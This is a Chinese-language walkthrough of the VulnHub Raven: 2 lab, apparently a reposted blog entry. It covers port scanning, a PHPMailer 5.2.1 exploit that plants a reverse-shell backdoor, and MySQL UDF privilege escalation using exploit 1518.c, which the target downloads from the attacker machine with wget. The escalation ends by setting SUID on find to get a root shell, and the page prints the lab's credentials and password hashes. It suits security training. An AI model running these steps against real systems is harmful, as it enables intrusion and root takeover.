当前位置: 首页 > article >正文

Raven: 2靶场渗透测试

Raven: 2

来自 <Raven: 2 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.189

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.189

HTTP服务(80/tcp)

  • 版本信息
    Apache 2.4.10 (Debian)
    该版本存在多个漏洞(如CVE-2017-7679、CVE-2021-40438),可能导致请求走私或拒绝服务。
  • 暴露信息
    • 服务器头明确显示版本(Apache/2.4.10 (Debian)),便于攻击者针对性利用。
    • 页面标题为“Raven Security”,可能为自定义Web应用,需检查是否存在SQL注入、XSS、文件上传等漏洞。
  • 建议
    1. 升级Apache至最新稳定版(2.4.58+)。
    2. 隐藏服务器版本信息
      ServerTokens Prod
      ServerSignature Off
    3. 部署WAF(如ModSecurity)并定期扫描Web漏洞(使用工具如Nessus、Burp Suite)。
    1. 检查Raven Security应用代码,修复潜在漏洞。

RPC服务(111/tcp, 46435/tcp)

  • 服务详情
    • rpcbind 2-4:用于远程过程调用(RPC),管理NFS等服务的端口映射。
    • 开放端口包括111/tcp、46435/tcp及相关UDP端口,暴露了status服务(RPC #100024)。
  • 风险
    • 已知漏洞如CVE-2017-8779(缓冲区溢出导致RCE)。
    • RPC服务可能被用于DDoS反射攻击或信息泄露。
  • 建议
    1. 禁用不必要的RPC服务
      systemctl stop rpcbind
      systemctl disable rpcbind
    1. 若必须使用NFS,限制访问IP并升级至最新版本。
    1. 配置防火墙(如iptables)阻止外部访问RPC端口。

4,依然访问80端口服务

和raven是一样的,卡顿的原因是因为没有做域名解析,手动修改/etc/hosts配置一下

vim /etc/hosts

192.168.23.189 raven.local

5,枚举扫描网站的子目录

dirsearch -u http://raven.local -x 404,403,500

观察目录看见网站依然是wordpress搭建的。分别查看内容,在http://raven.local/vendor/PATH得到flag1

而在http://raven.local/vendor/README.md网页,这些内容对网站构成了信息泄露

http://raven.local/vendor/VERSION 可以知道PHPMailer版本为5.2.1

然后再看看/wordpress

再whatweb做指纹识别扫描

6,检索漏洞,查看PHPmailer的公开exp

searchsploit PHPmailer

使用40974.py

 searchsploit -m 40974.py

7,然后修改编辑exp,使之能够使用

开头加上:

#!/usr/bin/python

# -*- coding: utf-8 -*-

然后修改三处target,payload,fields

但是直接运行会存在问题

× 此Python环境受外部管理

╰─> 若需在系统全局安装Python包,请尝试使用apt安装

    python3-xyz,其中xyz是你要安装的包名。

    如果你想安装非Kali官方仓库提供的Python包,

    请使用python3 -m venv path/to/venv创建一个虚拟环境。

    然后使用path/to/venv/bin/python和path/to/venv/bin/pip。

    确保已安装pypy3-venv。

    如果你想安装非Kali官方仓库提供的Python应用程序,

    最简单的方法是使用pipx install xyz,它会为你管理虚拟环境。

    确保已安装pipx。

    更多信息请参考:

    * Installing Python Applications via pipx | Kali Linux Documentation

    * /usr/share/doc/python3.12/README.venv

注意:如果你认为这是一个错误,请联系Python或系统发行版的支持人员。

你可以通过添加`--break-system-packages`参数强制安装,但这可能破坏Python环境或系统。

解决方案:

export https_proxy="http://192.168.99.74:50302"

# 安装虚拟环境工具(如果未安装)
sudo apt install python3-venv

# 创建并激活虚拟环境
python3 -m venv myenv       # 创建名为myenv的虚拟环境
source myenv/bin/activate  # 激活虚拟环境

# 在虚拟环境中安装requests_toolbelt
pip3 install requests_toolbelt

pip3 install lxml

#虚拟环境中启动攻击脚本

# 使用后退出虚拟环境
deactivate

与此同时kali需要nc监听4444端口,访问后门文件就会触发反弹shell

http://raven.local/icepeak.php

成功getshell

8,python启动可交互shell在该用户下查找flag

python -c 'import pty;pty.spawn("/bin/bash")'

find / -name flag*

cat /var/www/flag2.txt

查看/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png得到flag3。访问:

http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png

9,接下来是一样的套路,查看数据库配置文件以得到数据库登录密码

得到账户/密码:root/R@v3nSecurity

10,靶机本地登录数据库

mysql -u root -p

查看数据库 show databases;

使用数据库 use wordpress;

查看数据表 show tables;

从数据表从查询用户名密码  select * from wp_users;

michael|$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven|$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

MySQL UDF提权的场景

UDF(User-Defined Function,用户自定义函数)提权是一种通过MySQL功能执行系统命令的攻击方式,常见于以下场景:

  1. 已获取MySQL数据库权限
    • 攻击者通过SQL注入、弱口令、数据库配置泄露等方式获取MySQL账户权限(如SELECT、FILE权限)。
  2. 需要系统级权限提升
    • 数据库用户权限较低(如普通用户),但通过UDF可调用系统命令(如执行/bin/bash)。
  3. 目标系统未严格限制文件写入
    • MySQL服务账户(如mysql用户)具备写入系统敏感目录(如插件目录/usr/lib/mysql/plugin/)的权限。

UDF提权的必要条件

1. MySQL权限要求

  • FILE权限:允许读写服务器文件(通过SELECT ... INTO OUTFILE或LOAD_FILE)。
  • CREATE FUNCTION权限:允许创建自定义函数。
  • INSERT/UPDATE权限:可能需操作mysql.func表注册函数。

2. 系统环境要求

  • 插件目录可写
    MySQL的插件目录(如/usr/lib/mysql/plugin/)对MySQL进程可写,且路径可通过以下命令查询:
    SHOW VARIABLES LIKE 'plugin_dir';
  • secure_file_priv配置宽松
    若该参数设置为空或指定可写目录,允许导出文件:
    SHOW VARIABLES LIKE 'secure_file_priv';
  • UDF动态库兼容性
    • 动态库文件(.so或.dll)需与操作系统及MySQL版本匹配(如Linux用.so,Windows用.dll)。
    • 示例库:lib_mysqludf_sys.so(用于执行系统命令)。

3. MySQL服务权限

  • MySQL运行账户权限
    MySQL服务进程(如mysqld)需以高权限账户运行(如root或具备sudo权限的账户),否则提权后只能获取低权限Shell。

11,但是知道账户密码没有用,需要数据库提权。判断之后分析无法使用UDF提权:

禁止使用root用户远程登录

show global variables like 'secure%';               

用于查询 MySQL 全局变量中所有以 secure 开头的配置参数,主要用于检查与安全相关的关键设置。

核心目标是确认 secure_file_priv 的值,该参数直接控制 MySQL 的文件导入/导出权限,是防御文件写入攻击(如SQL注入导出WebShell、UDF提权)的关键配置。

SHOW VARIABLES LIKE '%plugin%';

用于查询 MySQL 中所有名称包含 plugin 的系统变量,核心目标是获取与插件(Plugin)相关的配置信息,尤其是插件目录路径、加载状态及认证插件类型。这些信息在安全审计和漏洞利用(如UDF提权、认证绕过)中至关重要。

12,这些信息说明MSF提权是不可行的。尝试版本漏洞提权,首先我们要知道数据库的版本

select version();

检索漏洞信息,使用1518.c

searchsploit mysql UDF

searchsploit -m 1518.c 

13,阅读exp,使用方法如下

然后进行编译

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o -lc

-g //生成调试信息

-c //编译(二进制)

-shared //创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-o //指定输出文件的名称

-lc //这个选项告诉链接器链接C标准库。这是生成大多数C程序所必需的。

攻击机使用python的http模块开启服务

python -m http.server

靶机进入tmp下载exp

wget http://192.168.23.182:8000/1518.so

然后登录数据库,创建自定义函数

mysql -u root -p R@v3nSecurity

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

create function do_system returns integer soname '1518.so';

select * from mysql.func;

select do_system('chmod u+s /usr/bin/find'); 

quit

touch foo

find foo touch -exec "/bin/sh" \;

成功提权成为root,得到flag4


http://www.kler.cn/a/573000.html

相关文章:

  • 如何在Android中实现自定义视图
  • 软考-数据库开发工程师-3.1-数据结构-线性结构
  • 统计Excel列中某值出现的次数
  • 【消息队列】数据库的数据管理
  • pt-archiver删除数据库的数据表/各种报错类型
  • 字典的setdefault()
  • 六十天前端强化训练之第九天之数组操作方法
  • 为AI聊天工具添加一个知识系统 之136 详细设计之77 通用编程语言 之7
  • MR30分布式IO携手PLC实现手工作业产线自动化升级
  • RK3588V2--ES8388声卡适配记录
  • nginx + php项目访问报错
  • Harmony os next~HarmonyOS Ability与页面跳转开发详解
  • 全自动数据强制备份程序,无视占用直接硬复制各种数据文件、文档、音视频、软件、数据库等的VSS卷拷贝批处理脚本程序,解放双手,一劳永逸
  • 数据仓库的特点
  • 千峰React:外部库引用
  • 如何利用Java爬虫按图搜索1688商品(拍立淘):实战指南
  • python-串口助手(OV7670图传)
  • C# 中的委托:详细解析与完整应用
  • 点云滤波方法:特点、作用及使用场景
  • 《基于专业知识体系构建的导游职业资格考试备考策略》